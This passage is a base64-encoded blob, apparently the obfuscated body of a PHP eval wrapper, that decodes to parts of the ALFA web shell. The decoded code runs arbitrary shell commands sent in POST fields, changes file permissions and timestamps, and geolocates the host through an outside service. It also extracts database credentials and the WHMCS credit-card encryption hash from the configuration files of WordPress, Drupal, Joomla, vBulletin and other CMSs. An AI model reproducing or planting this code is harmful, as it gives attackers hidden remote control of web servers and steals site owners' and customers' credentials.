ewpmb3JlYWNoICgkYSBhcyAkayA9PiAkdikgJHJlc3VsdFtdID0ganNvbl9lbmNvZGUoJGspLic6Jy5qc29uX2VuY29kZSgkdik7CnJldHVybiAneycgLiBqb2luKCcsJywgJHJlc3VsdCkgLiAnfSc7Cn0KfQp9CmlmICggIWZ1bmN0aW9uX2V4aXN0cygnanNvbl9kZWNvZGUnKSApewpmdW5jdGlvbiBqc29uX2RlY29kZSgkanNvbiwgJGFycmF5PXRydWUpewokY29tbWVudCA9IGZhbHNlOwokb3V0ID0gJyR4PSc7CmZvciAoJGk9MDsgJGk8c3RybGVuKCRqc29uKTsgJGkrKykKewppZiAoISRjb21tZW50KQp7CmlmICgkanNvblskaV0gPT0gJ3snIHx8ICRqc29uWyRpXSA9PSAnWycpeyRvdXQgLj0gJyBhcnJheSgnO30KZWxzZSBpZiAoJGpzb25bJGldID09ICd9JyB8fCAkanNvblskaV0gPT0gJ10nKXskb3V0IC49ICcpJzt9CmVsc2UgaWYgKCRqc29uWyRpXSA9PSAnOicpeyRvdXQgLj0gJz0+Jzt9CmVsc2UgeyRvdXQgLj0gJGpzb25bJGldO30KfQplbHNlICRvdXQgLj0gJGpzb25bJGldOwppZiAoJGpzb25bJGldID09ICciJykkY29tbWVudCA9ICEkY29tbWVudDsKfQpldmFsKCRvdXQgLiAnOycpOwpyZXR1cm4gJHg7Cn0KfQpmdW5jdGlvbiBhbGZhdGVybWluYWxFeGVjKCl7CiRwd2QgPSAicHdkIjsKJHNlcGVyYXRvciA9ICI7IjsKaWYoJEdMT0JBTFNbJ3N5cyddIT0ndW5peCcpewokcHdkID0gImNkIjsKJHNlcGVyYXRvciA9ICImIjsKfQppZigkR0xPQkFMU1siZ2xvYl9jaGRpcl9mYWxzZSJdJiYhZW1wdHkoJF9QT1NUWyJjIl0pKXskY21kID0gImNkICciLmFkZHNsYXNoZXMoJF9QT1NUWyJjIl0pLiInIi4kc2VwZXJhdG9yO30KJGN1cnJlbnRfcGF0aCA9ICcnOwppZihwcmVnX21hdGNoKCIvY2RbIF17MCx9KC4qKVsgXXswLH0iLiRzZXBlcmF0b3IuInxjZFsgXXswLH0oLiopWyBdezAsfS9pIiwgJF9QT1NUWydhbGZhMSddLCAkbWF0Y2gpKXsKaWYoZW1wdHkoJG1hdGNoWzFdKSl7CiRtYXRjaFsxXSA9ICRtYXRjaFsyXTsKfQokY3VycmVudF9wYXRoID0gYWxmYUV4KCJjZCAiLmFkZHNsYXNoZXMoJG1hdGNoWzFdKS4kc2VwZXJhdG9yLiRwd2QpOwokY3VycmVudF9wYXRoID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkY3VycmVudF9wYXRoKTsKfQokb3V0ID0gYWxmYUV4KCRjbWQuJF9QT1NUWydhbGZhMSddLCB0cnVlKTsKJG91dCA9IGh0bWxzcGVjaWFsY2hhcnMoJG91dCk7CmVjaG8ganNvbl9lbmNvZGUoYXJyYXkoIm91dHB1dCIgPT4gY29udmVydEJhc2goJG91dCksICJwYXRoIiA9PiAkY3VycmVudF9wYXRoKSk7Cn0KZnVuY3Rpb24gY29udmVydEJhc2goJGNvZGUpIHsKJGRpY3Rpb25hcnkgPSBhcnJheSgKJ1swMTszMG0nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6YmxhY2siPicsCidbMDE7MzFtJyA9PiAnPHNwYW4gc3R5bGU9ImNvbG9yOnJlZCI+JywKJ1swMTszMm0nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6Z3JlZW4iPicsCidbMDE7MzNtJyA9PiAnPHNwYW4gc3R5bGU9ImNvbG9yOnllbGxvdyI+JywKJ1swMTszNG0nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6Ymx1ZSI+JywKJ1swMTszNW0nID0+ICc8c3BhbiBzdHlsZT0iY29sb3I6cHVycGxlIj4nLAonWzAxOzM2bScgPT4gJzxzcGFuIHN0eWxlPSJjb2xvcjpjeWFuIj4nLAonWzAxOzM3bScgPT4gJzxzcGFuIHN0eWxlPSJjb2xvcjp3aGl0ZSI+JywKJ1swbScgICA9PiAnPC9zcGFuPicKKTsKJGh0bWxTdHJpbmcgPSBzdHJfcmVwbGFjZShhcnJheV9rZXlzKCRkaWN0aW9uYXJ5KSwgJGRpY3Rpb25hcnksICRjb2RlKTsKcmV0dXJuICRodG1sU3RyaW5nOwp9CmZ1bmN0aW9uIGFsZmFkb0FjdGlvbnMoKXsKJGNoZGlyX2ZhbHMgPSBmYWxzZTsKaWYoIUBjaGRpcigkX1BPU1RbJ2MnXSkpewokY2hkaXJfZmFscyA9IHRydWU7CiRhbGZhX2NhbnJ1bmNtZCA9IF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSk7Cn0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMSddKSkkX1BPU1RbJ2FsZmExJ10gPSByYXd1cmxkZWNvZGUoJF9QT1NUWydhbGZhMSddKTsKaWYoaXNzZXQoJF9QT1NUWydhbGZhMiddKSkkX1BPU1RbJ2FsZmEyJ10gPSByYXd1cmxkZWNvZGUoJF9QT1NUWydhbGZhMiddKTsKJGFjdGlvbiA9ICRfUE9TVFsiYWxmYTMiXTsKaWYoJGFjdGlvbiA9PSAicGVybWlzc2lvbiIpewokcGVybXMgPSAwOwokcGVybSA9ICRfUE9TVFsiYWxmYTIiXTsKZm9yKCRpPXN0cmxlbigkcGVybSktMTskaT49MDstLSRpKXsKJHBlcm1zICs9IChpbnQpJHBlcm1bJGldKnBvdyg4LCAoc3RybGVuKCRwZXJtKS0kaS0xKSk7Cn0KaWYoQGNobW9kKCRfUE9TVFsnYWxmYTEnXSwgJHBlcm1zKSl7CmVjaG8oImRvbmUiKTsKfWVsc2V7CmVjaG8oIm5vIik7Cn0KcmV0dXJuOwp9CmlmKCRhY3Rpb24gPT0gInJlbmFtZSIgfHwgJGFjdGlvbiA9PSAibW92ZSIpewokYWxmYTFfZGVjb2RlZCA9ICRfUE9TVFsnYWxmYTEnXTsKaWYoJGNoZGlyX2ZhbHMpewokX1BPU1RbJ2FsZmExJ10gPSAkX1BPU1RbImMiXS4iLyIuJF9QT1NUWyJhbGZhMSJdOwp9CiRfUE9TVFsnYWxmYTEnXSA9IHRyaW0oJF9QT1NUWydhbGZhMSddKTsKJGFsZmExX2VzY2FwZSA9IGFkZHNsYXNoZXMoJF9QT1NUWyJhbGZhMSJdKTsKaWYoJF9QT1NUWyJhbGZhMyJdID09ICJyZW5hbWUiKXsKJF9QT1NUWydhbGZhMiddID0gYmFzZW5hbWUoJF9QT1NUWydhbGZhMiddKTsKfQppZighZW1wdHkoJF9QT1NUWydhbGZhMiddKSl7CiRjbWRfcmVuYW1lID0gZmFsc2U7CmlmKCRjaGRpcl9mYWxzJiYkYWxmYV9jYW5ydW5jbWQpewppZihfYWxmYV9pc193cml0YWJsZSgkX1BPU1RbJ2FsZmExJ10pKXsKJGNtZF9yZW5hbWUgPSB0cnVlOwokYWxmYTFfZXNjYXBlID0gYWRkc2xhc2hlcygkYWxmYTFfZGVjb2RlZCk7CmFsZmFFeCgiY2QgJyIuYWRkc2xhc2hlcygkX1BPU1RbJ2MnXSkuIic7bXYgJyIuJGFsZmExX2VzY2FwZS4iJyAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTInXSkuIiciKTsKfQp9CmlmKCFmaWxlX2V4aXN0cygkX1BPU1RbJ2FsZmEyJ10pKXsKaWYoQHJlbmFtZSgkX1BPU1RbJ2FsZmExJ10sICRfUE9TVFsnYWxmYTInXSl8fCRjbWRfcmVuYW1lKXsKZWNobyAiZG9uZSI7Cn1lbHNlewplY2hvICJubyI7Cn0KfWVsc2V7CmVjaG8gIm5vIjsKfQp9Cn1lbHNlaWYoJGFjdGlvbiA9PSAiY29weSIpewppZihpc19kaXIoJF9QT1NUWyJhbGZhMSJdKSl7CiRkaXIgPSBzdHJfcmVwbGFjZSgnLy8nLCAnLycsICRfUE9TVFsiYWxmYTEiXSk7CiRkaXIgPSBleHBsb2RlKCcvJywgJGRpcik7CmlmKGVtcHR5KCRkaXJbY291bnQoJGRpcikgLSAxXSkpewokbmFtZSA9ICRkaXJbY291bnQoJGRpcikgLSAyXTsKfWVsc2V7CiRuYW1lID0gJGRpcltjb3VudCgkZGlyKSAtIDFdOwp9Cn1lbHNlewokbmFtZSA9IGJhc2VuYW1lKCRfUE9TVFsiYWxmYTEiXSk7Cn0KJGRpciA9IGRpcm5hbWUoJF9QT1NUWyJhbGZhMSJdKTsKaWYoJGRpciA9PSAiLiIpewokZGlyID0gJF9QT1NUWyJjIl0uIi8iOwp9CmlmKGlzX2ZpbGUoJF9QT1NUWyJhbGZhMSJdKSl7CkBjb3B5KCRfUE9TVFsiYWxmYTEiXSwgJF9QT1NUWyJhbGZhMiJdKTsKZWNobygiZG9uZSIpOwp9ZWxzZWlmKGlzX2RpcigkX1BPU1RbImFsZmExIl0pKXsKaWYoIWlzX2RpcigkX1BPU1RbImFsZmEyIl0pKXsKbWtkaXIoJF9QT1NUWyJhbGZhMiJdLCAwNzU1LCB0cnVlKTsKfQpjb3B5X3Bhc3RlKCRkaXIsICRuYW1lICwgJF9QT1NUWyJhbGZhMiJdIC4gIi8iKTsKZWNobygiZG9uZSIpOwp9Cn1lbHNlaWYoJGFjdGlvbiA9PSAibW9kaWZ5Iil7CmlmKCAhZW1wdHkoJF9QT1NUWydhbGZhMSddKSApIHsKJHRpbWUgPSBzdHJ0b3RpbWUoJF9QT1NUWydhbGZhMSddKTsKaWYoJHRpbWUpewokdG91Y2hlZCA9IGZhbHNlOwppZigkY2hkaXJfZmFscyYmJGFsZmFfY2FucnVuY21kKXsKYWxmYUV4KCJjZCAnIi5hZGRzbGFzaGVzKCRfUE9TVFsiYyJdKS4iJzt0b3VjaCAtZCAnIi5odG1sc3BlY2lhbGNoYXJzKGFkZHNsYXNoZXMoJF9QT1NUWydhbGZhMSddKSkuIicgJyIuYWRkc2xhc2hlcygkX1BPU1RbJ2FsZmEyJ10pLiInIik7CiR0b3VjaGVkID0gdHJ1ZTsKfQppZighQHRvdWNoKCRfUE9TVFsnYWxmYTInXSwkdGltZSwkdGltZSkmJiEkdG91Y2hlZCl7CmVjaG8gJ25vJzsKfWVsc2V7CmVjaG8gJ29rJzsKfQp9IGVsc2V7CiBlY2hvICdiYWR0aW1lJzsKfQp9Cn0KCn0KZnVuY3Rpb24gYWxmYWdldF9mbGFncygpewokZmxhZ3MgPSBhcnJheSgpOwppZihmdW5jdGlvbl9leGlzdHMoImN1cmxfdmVyc2lvbiIpKXsKJGN1cmwgPSBuZXcgQWxmYUNVUkwoKTsKJHNlcnZlcl9hZGRyID0gKCFAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0/KGZ1bmN0aW9uX2V4aXN0cygiZ2V0aG9zdGJ5bmFtZSIpP0BnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKTonPz8/PycpOkAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXSk7CiRmbGFnID0gJGN1cmwtPlNlbmQoImh0dHA6Ly93d3cuZ2VvcGx1Z2luLm5ldC9qc29uLmdwP2lwPSIgLiAkc2VydmVyX2FkZHIpOwokZmxhZzIgPSAkY3VybC0+U2VuZCgiaHR0cDovL3d3dy5nZW9wbHVnaW4ubmV0L2pzb24uZ3A/aXA9IiAuICRfU0VSVkVSWyJSRU1PVEVfQUREUiJdKTsKaWYoc3RycG9zKCRmbGFnMiwgImdlb3BsdWdpbiIpICE9IGZhbHNlKXsKJGZsYWcgPSBqc29uX2RlY29kZSgkZmxhZywgdHJ1ZSk7CiRmbGFnMiA9IGpzb25fZGVjb2RlKCRmbGFnMiwgdHJ1ZSk7CmlmKCFlbXB0eSgkZmxhZ1snZ2VvcGx1Z2luX2NvdW50cnlDb2RlJ10pKXsKJGZsYWdzWyJzZXJ2ZXIiXVsibmFtZSJdID0gJGZsYWdbJ2dlb3BsdWdpbl9jb3VudHJ5TmFtZSddOwokZmxhZ3NbInNlcnZlciJdWyJjb2RlIl0gPSAkZmxhZ1snZ2VvcGx1Z2luX2NvdW50cnlDb2RlJ107Cn0KaWYoIWVtcHR5KCRmbGFnMlsnZ2VvcGx1Z2luX2NvdW50cnlDb2RlJ10pKXsKJGZsYWdzWyJjbGllbnQiXVsibmFtZSJdID0gJGZsYWcyWydnZW9wbHVnaW5fY291bnRyeU5hbWUnXTsKJGZsYWdzWyJjbGllbnQiXVsiY29kZSJdID0gJGZsYWcyWydnZW9wbHVnaW5fY291bnRyeUNvZGUnXTsKfQp9Cn0KZWNobyBqc29uX2VuY29kZSgkZmxhZ3MpOwp9CmZ1bmN0aW9uIGFsZmFHZXRDb25maWcoKXsKJGNtcyA9ICRfUE9TVFsnYWxmYTEnXTsKJHBhdGggPSB0cmltKCRfUE9TVFsnYWxmYTInXSk7CiRjb25maWcgPSBhcnJheSgKJ3dwJz0+YXJyYXkoJ2ZpbGUnPT4nL3dwLWNvbmZpZy5waHAnLAonaG9zdCc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfSE9TVCg/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwKJ2RibmFtZSc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfTkFNRSg/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwKJ2RidXNlcic9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfVVNFUig/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwKJ2RicHcnPT5hcnJheSgiL2RlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX1BBU1NXT1JEKD86J3xcIilbIF17MCx9LFsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9XClbIF17MCx9Oy8iLDEpLAoncHJlZml4Jz0+YXJyYXkoIi90YWJsZV9wcmVmaXhbIF17MCx9PVsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9Oy8iLDEpCiksCidkcnVwYWwnPT5hcnJheSgnZmlsZSc9PicvY29uZmlnLnBocCcsCidob3N0Jz0+YXJyYXkoIi9kZWZpbmVbIF17MCx9XChbIF17MCx9KD86J3xcIilEQl9IT1NUTkFNRSg/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKSwKJ2RibmFtZSc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfREFUQUJBU0UoPzonfFwiKVsgXXswLH0sWyBdezAsfSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH1cKVsgXXswLH07LyIsMSksCidkYnVzZXInPT5hcnJheSgiL2RlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX1VTRVJOQU1FKD86J3xcIilbIF17MCx9LFsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9XClbIF17MCx9Oy8iLDEpLAonZGJwdyc9PmFycmF5KCIvZGVmaW5lWyBdezAsfVwoWyBdezAsfSg/Oid8XCIpREJfUEFTU1dPUkQoPzonfFwiKVsgXXswLH0sWyBdezAsfSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH1cKVsgXXswLH07LyIsMSksCidwcmVmaXgnPT5hcnJheSgiL2RlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX1BSRUZJWCg/Oid8XCIpWyBdezAsfSxbIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfVwpWyBdezAsfTsvIiwxKQopLAonZHJ1cGFsMic9PmFycmF5KCdmaWxlJz0+Jy9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsCidob3N0Jz0+YXJyYXkoIi8oPzonfFwiKWhvc3QoPzonfFwiKVsgXXswLH09PlsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9LC8iLDEpLAonZGJuYW1lJz0+YXJyYXkoIi8oPzonfFwiKWRhdGFiYXNlKD86J3xcIilbIF17MCx9PT5bIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfSwvIiwxKSwKJ2RidXNlcic9PmFycmF5KCIvKD86J3xcIil1c2VybmFtZSg/Oid8XCIpWyBdezAsfT0+WyBdezAsfSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH0sLyIsMSksCidkYnB3Jz0+YXJyYXkoIi8oPzonfFwiKXBhc3N3b3JkKD86J3xcIilbIF17MCx9PT5bIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfSwvIiwxKSwKJ3ByZWZpeCc9PmFycmF5KCIvKD86J3xcIilwcmVmaXgoPzonfFwiKVsgXXswLH09PlsgXXswLH0oPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9LC8iLDEpCiksCid2Yic9PmFycmF5KCdmaWxlJz0+Jy9pbmNsdWRlcy9jb25maWcucGhwJywKJ2hvc3QnPT5hcnJheSgiL2NvbmZpZ1xbKD86J3xcIilNYXN0ZXJTZXJ2ZXIoPzonfFwiKVxdXFsoPzonfFwiKXNlcnZlcm5hbWUoPzonfFwiKVxdKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIilbIF17MCx9Oy8iLDMpLAonZGJ1c2VyJz0+YXJyYXkoIi9jb25maWdcWyg/Oid8XCIpTWFzdGVyU2VydmVyKD86J3xcIilcXVxbKD86J3xcIil1c2VybmFtZSg/Oid8XCIpXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH07LyIsMyksCidkYm5hbWUnPT5hcnJheSgiL2NvbmZpZ1xbKD86J3xcIilEYXRhYmFzZSg/Oid8XCIpXF1cWyg/Oid8XCIpZGJuYW1lKD86J3xcIilcXShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfTsvIiwzKSwKJ2RicHcnPT5hcnJheSgiL2NvbmZpZ1xbKD86J3xcIilNYXN0ZXJTZXJ2ZXIoPzonfFwiKVxdXFsoPzonfFwiKXBhc3N3b3JkKD86J3xcIilcXShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpWyBdezAsfTsvIiwzKSwKJ3ByZWZpeCc9PmFycmF5KCIvY29uZmlnXFsoPzonfFwiKURhdGFiYXNlKD86J3xcIilcXVxbKD86J3xcIil0YWJsZXByZWZpeCg/Oid8XCIpXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKVsgXXswLH07LyIsMykKKSwKJ3BocG51a2UnPT5hcnJheSgnZmlsZSc9PicvY29uZmlnLnBocCcsCidob3N0Jz0+YXJyYXkoJy9kYmhvc3QoXHMrKT0oXHMrKSg/OlwnfCIpKC4qPykoPzpcJ3wiKTsvJywzKSwKJ2RibmFtZSc9PmFycmF5KCcvZGJuYW1lKFxzKyk9KFxzKykoPzpcJ3wiKSguKj8pKD86XCd8Iik7LycsMyksCidkYnVzZXInPT5hcnJheSgnL2RidW5hbWUoXHMrKT0oXHMrKSg/OlwnfCIpKC4qPykoPzpcJ3wiKTsvJywzKSwKJ2RicHcnPT5hcnJheSgnL2RicGFzcyhccyspPShccyspKD86XCd8IikoLio/KSg/OlwnfCIpOy8nLDMpLAoncHJlZml4Jz0+YXJyYXkoJy9wcmVmaXgoXHMrKT0oXHMrKSg/OlwnfCIpKC4qPykoPzpcJ3wiKTsvJywzKQopLAonc21mJz0+YXJyYXkoJ2ZpbGUnPT4nL1NldHRpbmdzLnBocCcsCidob3N0Jz0+YXJyYXkoIi9kYl9zZXJ2ZXIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RibmFtZSc9PmFycmF5KCIvZGJfbmFtZShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJ1c2VyJz0+YXJyYXkoIi9kYl91c2VyKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksCidkYnB3Jz0+YXJyYXkoIi9kYl9wYXNzd2QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ3ByZWZpeCc9PmFycmF5KCIvZGJfcHJlZml4KFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMykKKSwKJ3dobWNzJz0+YXJyYXkoJ2ZpbGUnPT4nL2NvbmZpZ3VyYXRpb24ucGhwJywKJ2hvc3QnPT5hcnJheSgiL2RiX2hvc3QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RibmFtZSc9PmFycmF5KCIvZGJfbmFtZShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJ1c2VyJz0+YXJyYXkoIi9kYl91c2VybmFtZShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJwdyc9PmFycmF5KCIvZGJfcGFzc3dvcmQoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2NjX2VuY3J5cHRpb25faGFzaCc9PmFycmF5KCIvY2NfZW5jcnlwdGlvbl9oYXNoKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMykKKSwKJ2pvb21sYSc9PmFycmF5KCdmaWxlJz0+Jy9jb25maWd1cmF0aW9uLnBocCcsCidob3N0Jz0+YXJyYXkoIi9cXFwkaG9zdChccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJuYW1lJz0+YXJyYXkoIi9cXFwkZGIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RidXNlcic9PmFycmF5KCIvXFxcJHVzZXIoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RicHcnPT5hcnJheSgiL1xcXCRwYXNzd29yZChccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAoncHJlZml4Jz0+YXJyYXkoIi9cXFwkZGJwcmVmaXgoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKQopLAoncGhwYmInPT5hcnJheSgnZmlsZSc9PicvY29uZmlnLnBocCcsCidob3N0Jz0+YXJyYXkoIi9kYmhvc3QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RibmFtZSc9PmFycmF5KCIvZGJuYW1lKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksCidkYnVzZXInPT5hcnJheSgiL2RidXNlcihccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJwdyc9PmFycmF5KCIvZGJwYXNzd2QoXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ3ByZWZpeCc9PmFycmF5KCIvdGFibGVfcHJlZml4KFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMykKKSwKJ215YmInPT5hcnJheSgnZmlsZSc9PicvaW5jL2NvbmZpZy5waHAnLAonaG9zdCc9PmFycmF5KCIvY29uZmlnXFsnZGF0YWJhc2UnXF1cWydob3N0bmFtZSdcXShccyspPShccyspKD86J3xcIikoLio/KSg/Oid8XCIpOy8iLDMpLAonZGJuYW1lJz0+YXJyYXkoIi9jb25maWdcWydkYXRhYmFzZSdcXVxbJ2RhdGFiYXNlJ1xdKFxzKyk9KFxzKykoPzonfFwiKSguKj8pKD86J3xcIik7LyIsMyksCidkYnVzZXInPT5hcnJheSgiL2NvbmZpZ1xbJ2RhdGFiYXNlJ1xdXFsndXNlcm5hbWUnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ2RicHcnPT5hcnJheSgiL2NvbmZpZ1xbJ2RhdGFiYXNlJ1xdXFsncGFzc3dvcmQnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKSwKJ3ByZWZpeCc9PmFycmF5KCIvY29uZmlnXFsnZGF0YWJhc2UnXF1cWyd0YWJsZV9wcmVmaXgnXF0oXHMrKT0oXHMrKSg/Oid8XCIpKC4qPykoPzonfFwiKTsvIiwzKQopCik7CmlmKCRjbXMgPT0gImRydXBhbCIpewokZmlsZSA9ICRjb25maWdbJGNtc11bJ2ZpbGUnXTsKJGZpbGU9JHBhdGguJGZpbGU7CmlmKEBpc19maWxlKCRmaWxlKXx8X2FsZmFfaXNfZGlyKCRmaWxlLCItZSIpKXsKfWVsc2V7CiRjbXMgPSAnZHJ1cGFsMic7Cn0KfQppZigkY21zID09ICJ2YiIpewokZmlsZSA9ICRjb25maWdbJGNtc11bJ2ZpbGUnXTsKJGZpbGU9JHBhdGguJGZpbGU7CmlmKEBpc19maWxlKCRmaWxlKXx8X2FsZmFfaXNfZGlyKCRmaWxlLCItZSIpKXsKfWVsc2V7CiRwYXRoIC49ICcvY29yZSc7Cn0KfQokZGF0YSA9IGFycmF5KCk7CiRzcmNoX2hvc3QgPSAkY29uZmlnWyRjbXNdWydob3N0J11bMF07CiRzcmNoX3VzZXIgPSAkY29uZmlnWyRjbXNdWydkYnVzZXInXVswXTsKJHNyY2hfbmFtZSA9ICRjb25maWdbJGNtc11bJ2RibmFtZSddWzBdOwokc3JjaF9wdyA9ICRjb25maWdbJGNtc11bJ2RicHcnXVswXTsKJHByZWZpeCA9ICRjb25maWdbJGNtc11bJ3ByZWZpeCddWzBdOwokZmlsZSA9ICRjb25maWdbJGNtc11bJ2ZpbGUnXTsKJGNob3N0ID0gJGNvbmZpZ1skY21zXVsnaG9zdCddWzFdOwokY3VzZXIgPSAkY29uZmlnWyRjbXNdWydkYnVzZXInXVsxXTsKJGNuYW1lID0gJGNvbmZpZ1skY21zXVsnZGJuYW1lJ11bMV07CiRjcHcgPSAkY29uZmlnWyRjbXNdWydkYnB3J11bMV07CiRjcHJlZml4ID0gJGNvbmZpZ1skY21zXVsncHJlZml4J11bMV07CmlmKEBpc19kaXIoJHBhdGgpfHxfYWxmYV9pc19kaXIoJHBhdGgpKXsKJGZpbGU9JHBhdGguJGZpbGU7Cn1lbHNlaWYoQGlzX2ZpbGUoJHBhdGgpfHxfYWxmYV9pc19kaXIoJHBhdGgsIi1lIikpewokZmlsZT0kcGF0aDsKfWVsc2V7CnJldHVybiBmYWxzZTsKfQokZmlsZSA9IF9fcmVhZF9maWxlKCRmaWxlKTsKaWYoJGNtcyA9PSAiZHJ1cGFsMiIpewokZmlsZSA9IHByZWdfcmVwbGFjZSgiL1xAY29kZSguKj8pXEBlbmRjb2RlL3MiLCAiIiwgJGZpbGUpOwp9ZWxzZWlmKCRjbXMgPT0gInZiIil7CiRmaWxlID0gcHJlZ19yZXBsYWNlKCIvcmlnaHQgb2YgdGhlKC4qPylCQUQhL3MiLCAiIiwgJGZpbGUpOwp9CmlmKHByZWdfbWF0Y2goJHNyY2hfaG9zdCwgJGZpbGUsICRtYWNoKSl7CiRkYXRhWydob3N0J10gPSAkbWFjaFskY2hvc3RdOwp9CmlmKHByZWdfbWF0Y2goJHNyY2hfdXNlciwgJGZpbGUsICRtYWNoKSl7CiRkYXRhWyd1c2VyJ10gPSAkbWFjaFskY3VzZXJdOwp9CmlmKHByZWdfbWF0Y2goJHNyY2hfbmFtZSwgJGZpbGUsICRtYWNoKSl7CiRkYXRhWydkYm5hbWUnXSA9ICRtYWNoWyRjbmFtZV07Cn0KaWYocHJlZ19tYXRjaCgkc3JjaF9wdywgJGZpbGUsICRtYWNoKSl7CiRkYXRhWydwYXNzd29yZCddID0gJG1hY2hbJGNwd107Cn0KaWYoaXNzZXQoJHByZWZpeCkpewppZihwcmVnX21hdGNoKCRwcmVmaXgsICRmaWxlLCAkbWFjaCkpewokZGF0YVsncHJlZml4J10gPSAkbWFjaFskY3ByZWZpeF07Cn0KfQppZigkY21zPT0nd2htY3MnKXsKaWYocHJlZ19tYXRjaCgkY29uZmlnWyRjbXNdWydjY19lbmNyeXB0aW9uX2hhc2gnXVswXSwgJGZpbGUsICRtYWNoKSl7CiRkYXRhWydjY19lbmNyeXB0aW9uX2hhc2gnXSA9ICRtYWNoWzNdOwp9Cn0KZWNobyBqc29uX2VuY29kZSgkZGF0YSk7Cn0KaWYoZW1wdHkoJF9QT1NUWydhJ10pKQppZihpc3NldCgkZGVmYXVsdF9hY3Rpb24pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWxmYScgLiAkZGVmYXVsdF9hY3Rpb24pKQokX1BPU1RbJ2EnXSA9ICRkZWZhdWx0X2FjdGlvbjsKZWxzZQokX1BPU1RbJ2EnXSA9ICdGaWxlc01hbjInOwppZighZW1wdHkoJF9QT1NUWydhJ10pICYmIGZ1bmN0aW9uX2V4aXN0cygnYWxmYScgLiAkX1BPU1RbJ2EnXSkpCmNhbGxfdXNlcl9mdW5jKCdhbGZhJyAuICRfUE9TVFsnYSddKTsKZXhpdDsKPz4='))
